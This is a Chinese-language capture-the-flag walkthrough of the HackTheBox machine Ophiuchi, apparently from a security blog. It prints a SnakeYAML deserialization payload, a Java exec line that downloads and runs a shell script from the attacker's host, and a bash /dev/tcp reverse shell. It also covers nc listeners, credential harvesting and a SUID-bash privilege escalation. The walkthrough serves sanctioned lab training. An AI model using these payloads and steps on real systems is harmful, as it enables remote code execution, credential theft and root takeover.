【渗透测试】hackthebox靶场之Ophiuchi

  • A+
所属分类:安全工具
【渗透测试】hackthebox靶场之Ophiuchi

【渗透测试】hackthebox靶场之Ophiuchi



【渗透测试】hackthebox靶场之Ophiuchi




0x01 端口扫描

【渗透测试】hackthebox靶场之Ophiuchi

端口扫描:

nmap -A -sS -sV -sC -T4 10.10.10.227

【渗透测试】hackthebox靶场之Ophiuchi


其中开放了22和8080端口,使用apache tomcat服务。浏览器访问一下8080端口

【渗透测试】hackthebox靶场之Ophiuchi


是一个YAML在线校验页面,随便输入一个数据以后,显示“由于安全原因,此功能已暂时搁置。我们很快就会解决这个问题!”

【渗透测试】hackthebox靶场之Ophiuchi


我们输入错误的YAML数据会出现500错误

【渗透测试】hackthebox靶场之Ophiuchi



0x02 RCE漏洞复现

我们可以试着寻找一些已知的YAML漏洞,经过搜索引擎搜索后,我们找到一个YAML Parser 的RCE漏洞:https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858

为了验证此RCE漏洞是否存在,我们进行漏洞验证,首先我们用python启动HTTP服务监听80端口,然后在YAML校验页面输入payload:

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[   !!java.net.URL ["http://10.10.14.17/"]]]]

【渗透测试】hackthebox靶场之Ophiuchi

【渗透测试】hackthebox靶场之Ophiuchi

我们服务器收到了80端口请求,说明存在此漏洞。然后我们在github上找到payload去进行漏洞利用:https://github.com/artsploit/yaml-payload

我们修改payload中的AwesomeScriptEngineFactory.java文件,修改成自己的恶意exec执行代码

Runtime.getRuntime().exec("curl http://10.10.14.17/shell.sh -o /tmp/shell.sh");Runtime.getRuntime().exec("bash /tmp/shell.sh");

【渗透测试】hackthebox靶场之Ophiuchi

然后把.java文件打包成jar包,然后复制在桌面

javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf shell.jar -C src/ .

【渗透测试】hackthebox靶场之Ophiuchi

然后在创建一个shell.sh脚本,用来执行反弹shell操作(创建脚本的位置也要对应生成的jar包一致),路径比较重要,请结合自己的路径来修改,不要直接复制代码就完事了。

#!/bin/bashbash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'

创建完之后,接下来就开启两个终端,一个开启http服务监听80端口,另外一个监听1234端口接收反弹的shell,然后在校验页面输入rce的payload提交

python3 -m http.server 80
nc -lvvp 1234 
!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://10.10.14.17/shell.jar"]  ]]]

【渗透测试】hackthebox靶场之Ophiuchi

【渗透测试】hackthebox靶场之Ophiuchi

然后反弹shell成功。之前shell一直反弹不回来,请尝试多提交并刷新页面几次就反弹回来了。

然后在/opt/tomcat/conf/tomcat-users.xml文件查到了用户名admin和密码whythereisalimit

【渗透测试】hackthebox靶场之Ophiuchi

然后我们就可以通过ssh [email protected]登录,拿到user flag:7b491b05f6fc7851ec2bf6d3de65f772

【渗透测试】hackthebox靶场之Ophiuchi


0x03提权

sudo -l查看特权文件,用root权限运行这个文件

【渗透测试】hackthebox靶场之Ophiuchi

cat查看一下文件

【渗透测试】hackthebox靶场之Ophiuchi

我们看到,函数和变量从main.wasm文件中导入并检查变量的值f,如果它等于1,执行deploy.sh,并且main.wasm和deploy.sh是相对路径,我们可以修改原main.wasm文件总是返回1的结果,并建立自己的deploy.sh获得root权限。

我们通过nc文件传输到本地,到本地修改文件

mkdir -p /tmp/privesc && cd /tmp/privesccp /opt/wasm-functions/main.wasmnc 10.10.14.17 1234 < main.wasm //远程终端输入nc -nvlp 1234 > main.wasm  //本地终端输入

因为main.wasm是编译后的二进制文件,不能直接编辑,首先要转换为.wat文件,然后修改它返回1,再次将它转换为.wasm二进制文件。先安装wat工具。

然后输入:wasm2wat main.wasm > main.wat转换,然后把0修改为1保存,然后再wat2wasm main.wat > main.wasm编译为二进制文件

【渗透测试】hackthebox靶场之Ophiuchi

然后把main.wasm传回到远程机子上(参考上面的传输方式,这里不写了),传回到刚刚创建的文件夹/tmp/privesc/下,并在此文件夹下编写一个deploy.sh

#!/bin/sh
cp /bin/bash /home/admin/.rootshellchmod +s /home/admin/.rootshellls -al /home/admin/.rootshell

然后执行

sudo /usr/bin/go run /opt/wasm-functions/index.go

【渗透测试】hackthebox靶场之Ophiuchi

现在就有一个/bin/bash二进制的副本,就像设置.rootshell了suid位一样,然后执行:

/home/admin/.rootshell -p

【渗透测试】hackthebox靶场之Ophiuchi

成功获得root权限,拿到root flag:8a7a1a4869d6f19090bc37c49a048a48

原理就是:因为main.wasm里面写的是相对路径并非绝对路径,我们在/tmp/privesc路径下执行特权文件,就会继承特权文件所在路径的权限(我也不知道怎么描述)






【渗透测试】hackthebox靶场之Ophiuchi


【渗透测试】hackthebox靶场之Ophiuchi

【渗透测试】hackthebox靶场之Ophiuchi

【渗透测试】hackthebox靶场之Tenet

【漏洞复现】Weblogic CVE-2020-2551漏洞复现

【渗透测试】hackthebox靶场之Love

【渗透测试】hackthebox靶场之Spectra


【渗透测试】hackthebox靶场之Ophiuchi
【渗透测试】hackthebox靶场之Ophiuchi
微信搜一搜
【渗透测试】hackthebox靶场之Ophiuchi
暗魂攻防实验室


本文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之Ophiuchi

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: